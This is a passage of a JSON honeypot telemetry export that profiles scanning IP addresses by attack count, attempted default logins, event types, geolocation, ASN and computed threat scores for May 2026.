        "last_seen_30d": "2026-05-22T03:39:08.294000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 13
      }
    },
    "72.167.37.165": {
      "attack_count": 14,
      "first_seen": "2026-05-09T19:35:05.422Z",
      "last_seen": "2026-05-09T22:19:09.106Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:35:05.422000+00:00",
        "last_seen_30d": "2026-05-09T22:20:09.872000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 14
      }
    },
    "107.173.41.67": {
      "attack_count": 12,
      "first_seen": "2026-05-05T00:08:45.075Z",
      "last_seen": "2026-05-11T22:45:38.108Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:08:45.075000+00:00",
        "last_seen_30d": "2026-05-11T22:46:40.732000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "38.117.74.138": {
      "attack_count": 12,
      "first_seen": "2026-05-03T15:47:49.226Z",
      "last_seen": "2026-05-05T02:44:06.119Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 174,
      "as_org": "Cogent Communications, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:47:49.226000+00:00",
        "last_seen_30d": "2026-05-05T02:45:10.492000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "64.23.241.205": {
      "attack_count": 12,
      "first_seen": "2026-05-02T07:40:35.502Z",
      "last_seen": "2026-05-02T07:44:08.717Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 169236,
        "days_active_30d": 1,
        "ports_targeted_30d": 65177,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-02T07:39:48+00:00",
        "last_seen_30d": "2026-05-02T07:54:42.543000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 142903,
        "Honeytrap": 26285,
        "Cowrie": 12,
        "Dionaea": 9,
        "Miniprint": 8,
        "ConPot": 5,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "85.158.110.27": {
      "attack_count": 12,
      "first_seen": "2026-05-08T09:48:02.751Z",
      "last_seen": "2026-05-08T18:21:39.087Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 59711,
      "as_org": "HZ Hosting Ltd",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:48:02.751000+00:00",
        "last_seen_30d": "2026-05-08T18:22:48.731000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "165.154.129.151": {
      "attack_count": 10,
      "first_seen": "2026-05-09T07:07:07.278Z",
      "last_seen": "2026-05-09T07:07:10.713Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 28,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T17:27:40+00:00",
        "last_seen_30d": "2026-05-29T23:17:13.273000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 19,
        "Cowrie": 10
      }
    },
    "43.128.81.242": {
      "attack_count": 10,
      "first_seen": "2026-05-07T06:15:09.476Z",
      "last_seen": "2026-05-07T06:15:48.955Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:17:10.720000+00:00",
        "last_seen_30d": "2026-05-07T06:16:49.364000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "176.65.132.186": {
      "attack_count": 7,
      "first_seen": "2026-05-05T05:50:51.121Z",
      "last_seen": "2026-05-05T05:50:54.181Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T18:43:26+00:00",
        "last_seen_30d": "2026-05-05T05:52:00.309000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "36.32.156.23": {
      "attack_count": 7,
      "first_seen": "2026-05-29T18:54:11.016Z",
      "last_seen": "2026-05-29T18:54:13.431Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "super"
      ],
      "passwords_attempted": [
        "xJ4pCYeW"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T18:54:11.016000+00:00",
        "last_seen_30d": "2026-05-29T18:55:21.171000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 3
      }
    },
    "172.104.11.46": {
      "attack_count": 6,
      "first_seen": "2026-05-12T10:49:03.497Z",
      "last_seen": "2026-05-12T10:49:03.895Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 74.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 26,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T03:27:30.750000+00:00",
        "last_seen_30d": "2026-05-27T19:38:14.163000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 20,
        "Cowrie": 6,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "Tanner": 1
      }
    },
    "185.255.100.244": {
      "attack_count": 6,
      "first_seen": "2026-05-03T00:58:00.246Z",
      "last_seen": "2026-05-03T00:58:06.329Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:58:00.246000+00:00",
        "last_seen_30d": "2026-05-03T00:59:11.118000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "192.42.116.55": {
      "attack_count": 6,
      "first_seen": "2026-05-03T11:24:31.431Z",
      "last_seen": "2026-05-03T11:24:39.158Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "nil"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 93.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 29,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-03T11:24:31.431000+00:00",
        "last_seen_30d": "2026-05-31T19:39:02.888000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 189,
        "Honeytrap": 59,
        "H0neytr4p": 9,
        "Cowrie": 6,
        "Ciscoasa": 3,
        "Dionaea": 2,
        "Honeyaml": 1
      }
    },
    "216.234.209.20": {
      "attack_count": 6,
      "first_seen": "2026-05-20T05:30:51.742Z",
      "last_seen": "2026-05-20T05:30:59.710Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T05:30:51.742000+00:00",
        "last_seen_30d": "2026-05-20T05:32:06.581000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "118.80.205.122": {
      "attack_count": 5,
      "first_seen": "2026-05-04T17:04:55.113Z",
      "last_seen": "2026-05-04T17:04:57.479Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T17:04:55.113000+00:00",
        "last_seen_30d": "2026-05-04T17:05:59.818000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "111.177.72.135": {
      "attack_count": 4,
      "first_seen": "2026-05-22T23:14:46.883Z",
      "last_seen": "2026-05-22T23:15:29.817Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:14:46.883000+00:00",
        "last_seen_30d": "2026-05-22T23:16:37.168000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "113.141.70.64": {
      "attack_count": 4,
      "first_seen": "2026-05-02T02:56:33.815Z",
      "last_seen": "2026-05-02T02:56:43.104Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134768,
      "as_org": "CHINANET SHAANXI province Cloud Base network",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T02:56:33.815000+00:00",
        "last_seen_30d": "2026-05-02T02:57:50.443000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "191.179.68.6": {
      "attack_count": 4,
      "first_seen": "2026-05-02T16:38:37.101Z",
      "last_seen": "2026-05-02T16:40:46.714Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Volta Redonda",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:38:37.101000+00:00",
        "last_seen_30d": "2026-05-02T16:45:54.263000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "204.199.89.29": {
      "attack_count": 4,
      "first_seen": "2026-05-24T22:31:36.472Z",
      "last_seen": "2026-05-24T22:33:42.124Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": null,
      "asn": 3549,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T22:31:36.472000+00:00",
        "last_seen_30d": "2026-05-24T22:44:24.153000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "205.210.31.228": {
      "attack_count": 4,
      "first_seen": "2026-05-21T22:47:02.024Z",
      "last_seen": "2026-05-21T22:47:05.678Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T19:55:25.010000+00:00",
        "last_seen_30d": "2026-05-31T18:41:54.143000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 22,
        "ConPot": 5,
        "Cowrie": 4,
        "Dionaea": 2,
        "Wordpot": 1
      }
    },
    "38.3.192.47": {
      "attack_count": 4,
      "first_seen": "2026-05-11T18:36:27.231Z",
      "last_seen": "2026-05-11T18:38:35.300Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Ciudad Ojeda",
      "asn": 271909,
      "as_org": "TELECOMUNICACIONES, MANTENIMIENTO Y SERVICIOS P&C, C.A.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:36:27.231000+00:00",
        "last_seen_30d": "2026-05-11T18:39:49.510000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "46.197.245.120": {
      "attack_count": 4,
      "first_seen": "2026-05-24T22:44:11.601Z",
      "last_seen": "2026-05-24T22:46:13.078Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bolu",
      "asn": 47524,
      "as_org": "Turksat Uydu Haberlesme Kablo TV ve Isletme A.S.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T22:44:11.601000+00:00",
        "last_seen_30d": "2026-05-24T22:56:56.597000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "51.15.55.221": {
      "attack_count": 4,
      "first_seen": "2026-05-13T18:23:05.167Z",
      "last_seen": "2026-05-13T18:27:10.778Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T18:23:05.167000+00:00",
        "last_seen_30d": "2026-05-13T18:28:21.383000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "74.244.85.72": {
      "attack_count": 4,
      "first_seen": "2026-05-25T13:58:33.785Z",
      "last_seen": "2026-05-25T14:00:38.479Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T13:58:33.785000+00:00",
        "last_seen_30d": "2026-05-25T14:10:39.022000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "184.105.247.195": {
      "attack_count": 3,
      "first_seen": "2026-05-29T04:10:46.822Z",
      "last_seen": "2026-05-29T04:10:46.863Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 90.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 29,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T02:21:22+00:00",
        "last_seen_30d": "2026-05-30T01:55:34.109000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 180,
        "Honeytrap": 104,
        "ConPot": 4,
        "Dionaea": 4,
        "Honeyaml": 4,
        "Tanner": 4,
        "Cowrie": 3,
        "Adbhoney": 2,
        "Ipphoney": 1
      }
    },
    "185.243.41.139": {
      "attack_count": 3,
      "first_seen": "2026-05-22T21:39:35.519Z",
      "last_seen": "2026-05-22T21:40:42.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 61414,
      "as_org": "Edgenap Ltd",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:39:35.519000+00:00",
        "last_seen_30d": "2026-05-22T21:41:43.946000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "209.99.188.240": {
      "attack_count": 3,
      "first_seen": "2026-05-14T16:53:04.466Z",
      "last_seen": "2026-05-14T16:55:04.485Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 17.5,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 21,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:21:25.089000+00:00",
        "last_seen_30d": "2026-05-26T13:40:24.715000+00:00",
        "days_since_last_seen": 5
      },
